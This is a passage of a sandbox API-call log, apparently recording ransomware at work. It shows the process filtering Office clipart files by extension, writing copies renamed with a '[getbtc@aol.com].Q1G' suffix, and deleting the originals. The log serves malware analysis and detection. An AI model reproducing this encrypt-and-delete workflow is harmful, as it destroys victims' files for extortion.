lstrlenW (lpString=".zip") returned 4 [0258.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.910] lstrlenW (lpString=".rar") returned 4 [0258.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.910] lstrlenW (lpString=".bz2") returned 4 [0258.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.910] lstrlenW (lpString=".7z") returned 3 [0258.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0258.910] lstrlenW (lpString=".dbf") returned 4 [0258.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0258.910] lstrlenW (lpString=".1cd") returned 4 [0258.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0258.910] lstrlenW (lpString=".jpg") returned 4 [0258.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0258.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0258.910] lstrlenW (lpString=".doc") returned 4 [0258.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.910] lstrlenW (lpString=".docx") returned 5 [0258.910] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.910] lstrlenW (lpString=".pdf") returned 4 [0258.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.910] lstrlenW (lpString=".xls") returned 4 [0258.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.910] lstrlenW (lpString=".xlsx") returned 5 [0258.910] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.910] lstrlenW (lpString=".ppt") returned 4 [0258.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0258.910] lstrlenW (lpString=".zip") returned 4 [0258.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.910] lstrlenW (lpString=".rar") returned 4 [0258.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.910] lstrlenW (lpString=".bz2") returned 4 [0258.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.911] lstrlenW (lpString=".7z") returned 3 [0258.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0258.911] lstrlenW (lpString=".dbf") returned 4 [0258.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0258.911] lstrlenW (lpString=".1cd") returned 4 [0258.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0258.911] lstrlenW (lpString=".jpg") returned 4 [0258.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.911] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.911] lstrlenW (lpString="J0107344.WMF") returned 12 [0258.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.912] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=5076) returned 1 [0258.912] CloseHandle (hObject=0x3a8) returned 1 [0258.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 0x20 [0258.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.912] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.912] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0258.913] GetLastError () returned 0x0 [0258.913] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x13d4, lpOverlapped=0x0) returned 1 [0258.915] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x13e0, lpOverlapped=0x0) returned 1 [0258.916] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.916] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.916] SetEndOfFile (hFile=0x388) returned 1 [0258.916] CloseHandle (hObject=0x388) returned 1 [0258.916] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.916] SetEndOfFile (hFile=0x3a8) returned 1 [0258.918] CloseHandle (hObject=0x3a8) returned 1 [0258.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0258.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0258.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0258.922] lstrlenW (lpString=".doc") returned 4 [0258.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.922] lstrlenW (lpString=".docx") returned 5 [0258.922] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0258.922] lstrlenW (lpString=".pdf") returned 4 [0258.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.922] lstrlenW (lpString=".xls") returned 4 [0258.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.922] lstrlenW (lpString=".xlsx") returned 5 [0258.922] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0258.922] lstrlenW (lpString=".ppt") returned 4 [0258.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0258.922] lstrlenW (lpString=".zip") returned 4 [0258.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.922] lstrlenW (lpString=".rar") returned 4 [0258.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.922] lstrlenW (lpString=".bz2") returned 4 [0258.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.922] lstrlenW (lpString=".7z") returned 3 [0258.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0258.922] lstrlenW (lpString=".dbf") returned 4 [0258.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0258.922] lstrlenW (lpString=".1cd") returned 4 [0258.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0258.922] lstrlenW (lpString=".jpg") returned 4 [0258.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0258.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0258.923] lstrlenW (lpString=".doc") returned 4 [0258.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.923] lstrlenW (lpString=".docx") returned 5 [0258.923] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0258.923] lstrlenW (lpString=".pdf") returned 4 [0258.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.923] lstrlenW (lpString=".xls") returned 4 [0258.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.923] lstrlenW (lpString=".xlsx") returned 5 [0258.923] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0258.923] lstrlenW (lpString=".ppt") returned 4 [0258.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0258.923] lstrlenW (lpString=".zip") returned 4 [0258.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.923] lstrlenW (lpString=".rar") returned 4 [0258.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.923] lstrlenW (lpString=".bz2") returned 4 [0258.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.923] lstrlenW (lpString=".7z") returned 3 [0258.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0258.923] lstrlenW (lpString=".dbf") returned 4 [0258.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0258.923] lstrlenW (lpString=".1cd") returned 4 [0258.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0258.923] lstrlenW (lpString=".jpg") returned 4 [0258.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.923] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.924] lstrlenW (lpString="J0107350.WMF") returned 12 [0258.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0259.102] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=23672) returned 1 [0259.102] CloseHandle (hObject=0x3b8) returned 1 [0259.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 0x20 [0259.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0259.125] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.125] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0259.126] GetLastError () returned 0x0 [0259.126] ReadFile (in: hFile=0x3b8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x5c78, lpOverlapped=0x0) returned 1 [0259.127] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x5c80, lpOverlapped=0x0) returned 1 [0259.128] ReadFile (in: hFile=0x3b8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.128] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.128] SetEndOfFile (hFile=0x360) returned 1 [0259.129] CloseHandle (hObject=0x360) returned 1 [0259.129] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.129] SetEndOfFile (hFile=0x3b8) returned 1 [0259.131] CloseHandle (hObject=0x3b8) returned 1 [0259.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 1 [0259.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0259.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0259.132] lstrlenW (lpString=".doc") returned 4 [0259.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.132] lstrlenW (lpString=".docx") returned 5 [0259.132] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0259.132] lstrlenW (lpString=".pdf") returned 4 [0259.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.132] lstrlenW (lpString=".xls") returned 4 [0259.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.132] lstrlenW (lpString=".xlsx") returned 5 [0259.132] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0259.132] lstrlenW (lpString=".ppt") returned 4 [0259.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0259.132] lstrlenW (lpString=".zip") returned 4 [0259.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.132] lstrlenW (lpString=".rar") returned 4 [0259.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.132] lstrlenW (lpString=".bz2") returned 4 [0259.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.132] lstrlenW (lpString=".7z") returned 3 [0259.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0259.132] lstrlenW (lpString=".dbf") returned 4 [0259.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0259.132] lstrlenW (lpString=".1cd") returned 4 [0259.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0259.133] lstrlenW (lpString=".jpg") returned 4 [0259.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0259.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0259.133] lstrlenW (lpString=".doc") returned 4 [0259.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.133] lstrlenW (lpString=".docx") returned 5 [0259.133] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0259.133] lstrlenW (lpString=".pdf") returned 4 [0259.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.133] lstrlenW (lpString=".xls") returned 4 [0259.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.133] lstrlenW (lpString=".xlsx") returned 5 [0259.133] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0259.133] lstrlenW (lpString=".ppt") returned 4 [0259.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0259.133] lstrlenW (lpString=".zip") returned 4 [0259.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.133] lstrlenW (lpString=".rar") returned 4 [0259.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.133] lstrlenW (lpString=".bz2") returned 4 [0259.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.133] lstrlenW (lpString=".7z") returned 3 [0259.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0259.133] lstrlenW (lpString=".dbf") returned 4 [0259.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0259.133] lstrlenW (lpString=".1cd") returned 4 [0259.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0259.133] lstrlenW (lpString=".jpg") returned 4 [0259.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.134] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.134] lstrlenW (lpString="J0107468.WMF") returned 12 [0259.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0259.134] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=9612) returned 1 [0259.134] CloseHandle (hObject=0x3b8) returned 1 [0259.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf")) returned 0x20 [0259.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0259.135] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.135] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0259.135] GetLastError () returned 0x0 [0259.136] ReadFile (in: hFile=0x3b8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x258c, lpOverlapped=0x0) returned 1 [0259.137] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2590, lpOverlapped=0x0) returned 1 [0259.138] ReadFile (in: hFile=0x3b8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.138] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.138] SetEndOfFile (hFile=0x360) returned 1 [0259.138] CloseHandle (hObject=0x360) returned 1 [0259.138] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.138] SetEndOfFile (hFile=0x3b8) returned 1 [0259.141] CloseHandle (hObject=0x3b8) returned 1 [0259.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf")) returned 1 [0259.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0259.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0259.142] lstrlenW (lpString=".doc") returned 4 [0259.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.142] lstrlenW (lpString=".docx") returned 5 [0259.142] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0259.142] lstrlenW (lpString=".pdf") returned 4 [0259.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.142] lstrlenW (lpString=".xls") returned 4 [0259.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.142] lstrlenW (lpString=".xlsx") returned 5 [0259.142] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0259.142] lstrlenW (lpString=".ppt") returned 4 [0259.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0259.142] lstrlenW (lpString=".zip") returned 4 [0259.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.142] lstrlenW (lpString=".rar") returned 4 [0259.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.142] lstrlenW (lpString=".bz2") returned 4 [0259.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.142] lstrlenW (lpString=".7z") returned 3 [0259.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0259.143] lstrlenW (lpString=".dbf") returned 4 [0259.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0259.143] lstrlenW (lpString=".1cd") returned 4 [0259.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") 